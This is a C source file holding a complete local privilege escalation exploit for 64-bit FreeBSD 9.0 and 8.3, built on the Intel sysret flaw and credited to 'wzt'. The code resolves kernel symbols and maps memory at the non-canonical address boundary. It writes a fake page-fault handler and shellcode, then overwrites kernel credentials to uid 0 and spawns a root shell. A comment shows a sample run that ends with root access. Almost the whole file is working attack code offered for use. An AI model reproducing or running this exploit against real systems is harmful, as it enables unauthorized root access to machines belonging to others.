Intel_sysret.c

/*
 * Intel CPU sysret - Freebsd 64bit local Privilege Escalation Exploit.
 *
 * by wzt       http://www.cloud-sec.org
 *
 * test on freebsd 9.0, 8.3 64bit versions.
 *
 * [+] get sym Xofl at adr 0xffffffff80b1c730
 * [+] get sym Xbnd at adr 0xffffffff80b1c760
 * [+] get sym Xill at adr 0xffffffff80b1c790
 * [+] get sym Xdna at adr 0xffffffff80b1c7c0
 * [+] get sym Xpage at adr 0xffffffff80b1cb00
 * [+] get sym Xfpu at adr 0xffffffff80b1c880
 * [+] get sym Xalign at adr 0xffffffff80b1c940
 * [+] get sym Xmchk at adr 0xffffffff80b1c820
 * [+] get sym Xxmm at adr 0xffffffff80b1c8b0
 * [+] get idt addr at 0xffffffff811b1560
 * [+] mmap addr at 0x7ffffffff000
 * [+] fake rsp: 0xffffffff811b169f
 * [+] fake_pf_addr: 0x980b1cb00
 * [+] mmap addr at 0x980b1c000
 * [+] Got root!
 * # id
 * uid=0(root) gid=0(wheel) groups=0(wheel)
 * # uname -a
 * FreeBSD exploit 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Mon Dec 10 07:31:51 CST 2012     root@exploit:/usr/src/sys   /amd64/compile/GENERIC  amd64
 * #
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>

#define IDT_NUM                         9

struct idt_sym_arg {
        int idx;
        uint64_t addr;
        char sym_name[32];
}idt_arg[IDT_NUM] = {{IDT_OF,           0,      "Xofl"},
                        {IDT_BR,        0,      "Xbnd"},
                        {IDT_UD,        0,      "Xill"},
                        {IDT_NM,        0,      "Xdna"},
                        {IDT_PF,        0,      "Xpage"},
                        {IDT_MF,        0,      "Xfpu"},
                        {IDT_AC,        0,      "Xalign"},
                        {IDT_MC,        0,      "Xmchk"},
                        {IDT_XF,        0,      "Xxmm"}};

static struct gate_descriptor *g_idt = NULL;

static char fake_pf_code[] = "\x0f\x01\xf8"
                                "\x48\x89\xdc"
                                "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00"
                                "\xff\xe0";

struct gate_descriptor *sidt(void)
{
        struct region_descriptor idt;

        asm("sidt %0":"=m"(idt));

        return (struct gate_descriptor *)idt.rd_base;
}

void setidt(struct gate_descriptor *idt, int idx, uintptr_t func,
                int typ, int dpl, int ist)
{
        struct gate_descriptor *ip;

        ip = idt + idx;
        ip->gd_looffset = func;
        ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
        ip->gd_ist = ist;
        ip->gd_xx = 0;
        ip->gd_type = typ;
        ip->gd_dpl = dpl;
        ip->gd_p = 1;
        ip->gd_hioffset = func >> 16;
}

uint64_t get_sym_addr(char *sym_name)
{
        struct kld_sym_lookup ksym;

        ksym.version = sizeof(ksym);
        ksym.symname = sym_name;

        if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
                perror("kldsym");
                return -1;
        }

        return ksym.symvalue;
}

int setup_idt_syms(void)
{
        int i;

        for (i = 0; i < IDT_NUM; i++) {
                idt_arg[i].addr = get_sym_addr(idt_arg[i].sym_name);
                if (idt_arg[i].addr == -1) {
                        printf("[-] get sym %s failed\n", idt_arg[i].sym_name);
                        return -1;
                }
                printf("[+] get sym %s at adr 0x%lx\n",
                        idt_arg[i].sym_name, idt_arg[i].addr);
        }

        return 0;
}

int setup(void)
{
        if (setup_idt_syms() == -1)
                return -1;

        g_idt = sidt();
        if (!g_idt)
                return -1;
        printf("[+] get idt addr at 0x%lx\n", g_idt);

        return 0;
}

void exit_user_code(void)
{
        printf("[+] Got root!\n");
        execl("/bin/sh", "sh", "-i", NULL);
        exit(0);
}

void kernel_shellcode(void)
{
        struct thread *td;
        struct ucred *cred;
        int i;

        for (i = 0; i < IDT_NUM; i++) {
                setidt(g_idt, idt_arg[i].idx, (uintptr_t)idt_arg[i].addr,
                        SDT_SYSIGT, SEL_KPL, 0);
        }

        asm("mov %%gs:0, %0":"=r"(td));

        cred = td->td_proc->p_ucred;
        cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
        cred->cr_groups[0] = 0;

        asm("swapgs\n"
                "sysretq"
                ::"c"(exit_user_code));
}

int trigger(void)
{
        void *addr = (void *)0x00007ffffffff000;
        void *fake_pf_addr;
        void *new_addr;
        uint64_t fake_rsp;

        new_addr = mmap(addr, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_ANON | MAP_FIXED, -1, 0);
        if (new_addr == MAP_FAILED) {
                perror("mmap");
                return -1;
        }
        printf("[+] mmap addr at %p\n", new_addr);

        *(char *)(0x00007ffffffffffe) = 0x0f;
        *(char *)(0x00007ffffffffffe + 1) = 0x05;

        fake_rsp = (uint64_t)(g_idt + 14) + 80 + 15;
        printf("[+] fake rsp: 0x%lx\n", fake_rsp);

        fake_pf_addr = (void *)(0x900000000 | (idt_arg[4].addr & 0xffffffff));
        printf("[+] fake_pf_addr: 0x%lx\n", fake_pf_addr);

        new_addr = mmap((void *)((uint64_t)fake_pf_addr & ~4095), 4096,
                PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0);
        if (new_addr == MAP_FAILED) {
                perror("mmap");
                return -1;
        }
        printf("[+] mmap addr at %p\n", new_addr);

        memcpy(fake_pf_addr, fake_pf_code, 18);
        *(uint64_t *)(fake_pf_addr + 8) = (uint64_t)kernel_shellcode;

        asm("movq %%rsp, %%rbx\n"
                "movq %0, %%rsp\n"
                "movq $0x18, %%rax\n"
                "movq $0x0, %%rdi\n"
                "movq $0x00007ffffffffffe, %%rdx\n"
                "jmpq *%%rdx"
                ::"r"(fake_rsp));

        return 0;
}

void banner(void)
{
        printf("Intel CPU sysret - Freebsd 64bit local Privilege Escalation Exploit\n");
        printf("exploit by wzt  http://www.cloud-sec.org\n\n");
}

int main(void)
{
        banner();

        if (setup() == -1)
                return -1;

        if (trigger() == -1)
                return -1;

        return 0;
}